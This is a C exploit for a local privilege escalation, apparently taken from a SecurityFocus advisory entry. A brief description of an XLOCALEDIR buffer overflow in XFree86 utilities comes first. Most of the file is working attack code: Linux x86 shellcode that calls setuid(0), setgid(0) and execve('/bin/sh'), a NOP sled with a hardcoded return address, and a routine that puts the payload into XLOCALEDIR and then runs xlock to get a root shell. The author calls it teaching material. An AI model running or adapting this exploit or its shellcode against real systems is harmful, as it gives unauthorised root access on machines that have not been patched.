// source: https://www.securityfocus.com/bid/7002/info
Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable.
A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered.
/* xlock local root exploit for XFree 4.2.0, RedHat 7.2,
* maybe others, based on overflowing XLOCALEDIR,
* by omega of the S.T.A.R. team.
* This is a re-make of the original work for Slackware 8.1
* by dcryptr && tarranta / oC.
*/
/* Greetz go to: dcryptr && tarranta, dethy -at- synnergy.net,
* mirapoint, ^sq, irian, Fooy :-).
*/
/* Oh, and yes, xlock probably isn't +s on your system, so this
* is mostly a teaching material ;-)
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define OFFSET 0 /* varies, use 0 as default */
#define nop 0x90 /* NOP on x86 is 0x90 */
#define BSIZE 5100 /* size of our buffer */
/* thanks to dcryptr && tarranta, for noting that
the first setuid(0) gets ignored for some mysterious
reason and also for providing this shellcode. */
static char shellcode[] =
/* setuid(0); - ignored. */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */
/* setuid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */
/* setgid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x2e" /* mov $0x2e,%al */
"\xcd\x80" /* int $0x80 */
/* /bin/sh execve(); */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80" /* int $0x80 */
/* exit(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x01" /* mov $0x01,%al */
"\xcd\x80";/* int $0x80 */
/* thanks to dethy for his tutorial on overflows
* - this is essentially based on that.
*/
int main(int argc, char **argv) {
char *buffer, *ptr;
int *address_ptr, *address;
int i, offset = OFFSET, bsize = BSIZE;
/* you can use this offset to search for a better place to jump to. */
if(argc > 1) offset = atoi(argv[1]);
else offset = 0;
fprintf(stderr, "Offset: %d\n", offset);
/* create space for our buffer */
buffer = malloc(bsize);
/* use the force, read the source :-), determine %esp for xlock. */
(char *)address = (0xbffff010 + sizeof(int) * offset);
fprintf(stderr, "Return address: %#x\n" ,address);
ptr = buffer;
address_ptr = (int *)ptr;
/* fill buffer with the in-buffer address to jump to. */
for(i = 0; i < bsize; i += 4) (int *)*(address_ptr++) = address;
/* now we fill the first third - this can be adjusted - of the buffer with nop's,
remembering to leave space for the remaining shellcode to be added. */
for(i = 0; i < bsize / 3; i++) buffer[i] = nop;
/* fill the buffer with the shellcode centered around the border between the
first and second third of the buffer. */
ptr = buffer + ((bsize / 3) - (strlen(shellcode) / 2));
for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
/* don't forget to end with the dreaded null byte or the processor won't determine
the end of our code. */
buffer[bsize - 1] = '\0';
/* in this case our bof is a user specified environment variable of fixed length,
so we set our buffer "$XLOCALEDIR" and that should overflow the programs buffer */
setenv("XLOCALEDIR", buffer, 1);
/* xlock uses the above variable for it's environment, so we'll try to exploit it. */
execl("/usr/X11R6/bin/xlock", "/usr/X11R6/bin/xlock", 0);
}